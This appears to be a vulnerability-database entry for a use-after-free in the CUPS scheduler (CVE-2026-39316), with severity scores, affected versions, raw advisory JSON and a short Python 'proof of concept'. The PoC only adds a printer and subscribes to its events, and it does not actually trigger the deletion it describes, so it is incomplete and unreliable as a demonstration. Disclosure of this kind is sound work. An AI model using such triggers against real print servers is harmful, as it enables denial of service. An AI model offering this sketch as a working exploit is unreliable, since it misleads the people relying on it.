Security Vulnerability Report
中文
CVE-2026-39316 CVSS 4.0 MEDIUM

CVE-2026-39316

Published: 2026-04-07 17:16:37
Last Modified: 2026-04-16 18:08:46

Description

OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, a use-after-free vulnerability exists in the CUPS scheduler (cupsd) when temporary printers are automatically deleted. cupsdDeleteTemporaryPrinters() in scheduler/printers.c calls cupsdDeletePrinter() without first expiring subscriptions that reference the printer, leaving cupsd_subscription_t.dest as a dangling pointer to freed heap memory. The dangling pointer is subsequently dereferenced at multiple code sites, causing a crash (denial of service) of the cupsd daemon. With heap grooming, this can be leveraged for code execution.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:* - VULNERABLE
OpenPrinting CUPS <= 2.4.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-39316 This script demonstrates creating a subscription on a temporary printer, which leads to the Use-After-Free vulnerability when the printer is auto-deleted. """ import cups def trigger_vulnerability(): conn = cups.Connection() # Setup a temporary printer (simplified for PoC context) # In a real scenario, the printer might be auto-discovered or configured as temporary. printer_name = "temp_vuln_printer" device_uri = "ipp://localhost/printers/temp_vuln_printer" try: # Add a printer (configuration details depend on CUPS setup) conn.addPrinter(printer_name, device=device_uri) # Create a subscription for events on this printer # This subscription is not cleared when the printer is deleted, causing the UAF sub_id = conn.createSubscription( printer_uri=device_uri, events=["all"], recipient_uri="rss://localhost" ) print(f"Created subscription {sub_id} on {printer_name}") # Triggering deletion logic usually happens automatically or via admin action. # Forcing a restart or specific CUPS command might trigger the cleanup path. print("Waiting for printer auto-deletion or triggering cleanup...") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": trigger_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39316", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:37.230", "lastModified": "2026-04-16T18:08:46.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, a use-after-free vulnerability exists in the CUPS scheduler (cupsd) when temporary printers are automatically deleted. cupsdDeleteTemporaryPrinters() in scheduler/printers.c calls cupsdDeletePrinter() without first expiring subscriptions that reference the printer, leaving cupsd_subscription_t.dest as a dangling pointer to freed heap memory. The dangling pointer is subsequently dereferenced at multiple code sites, causing a crash (denial of service) of the cupsd daemon. With heap grooming, this can be leveraged for code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.4.16", "matchCriteriaId": "8A2A4507-B2D7-43B8-B008-6EC2F5053FA9"}]}]}], "references": [{"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-pjv5-prqp-46rg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}